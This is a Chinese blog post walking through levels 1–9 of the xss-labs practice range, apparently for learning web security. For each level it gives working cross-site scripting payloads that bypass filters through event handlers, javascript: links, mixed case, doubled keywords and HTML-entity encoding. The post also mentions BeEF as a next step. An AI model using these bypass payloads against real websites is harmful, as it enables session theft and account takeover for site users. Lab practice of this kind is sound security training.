xss-labs-master;1-9关;内含靶场;更好了解xss;

1、搭建好靶场;

xss-labs-master.zip - 蓝奏云文件大小:1.1 M|https://wwu.lanzoum.com/iRuBk0a0luhe

 

2、name应该就是传参;

3、在name传参栏传入简单的script,成功;

反射型xss成功;接下来可以考虑用beef连接;

<script>alert(1)</script>

 4、来到了第二关;

也是先传一下简单的script;

keyword=<scritp>alert(1)</script> 

 网页栏传的参数为文本输出;

失败了;

查看网页源代码;

这就完成了

"><scritp>alert(1)</script>

 5、第三关试一下

失败;

输入'><script>alert(1)</script>

发现<>被过滤掉;

 

 想办法绕过; 事件驱动,点击事件;

' οnclick='alert(1)'

6、第四关;

 试一下:<script>alert(1)<script>

失败;

查看网页源代码;尝试双引号闭合;

  

7、第五关:


 

 "><a href=javascript:alert(1)>

8、第六关

 "><a href=javascript:alert(1)>

使用第五关语句发现多了"_"

 大写R    "><a hRef=javascript:alert(1)>

9、第七关;

 使用第六关语句:"><a hRef=javascript:alert(1)>

发现href 和script被丢掉,尝试双写和大小写混合;

 "><a hrhrefef=javascscriptript:alert(1)>

 10、第8关;unicode编码绕过;

尝试一下第七关语句:   "><a hrhrefef=javascscriptript:alert(1)>

查看源代码,多了"-"

 "><a hRef=javasCript:alert(1)>

语句没问题,拒绝访问,考虑编码;

 

JavaScript:alert(1)

&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; 

 11、第9关;

试一下:JavaScript:alert(1)

试一下:JavaScript:alert('http://') 

f发现"_"

还是编码:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值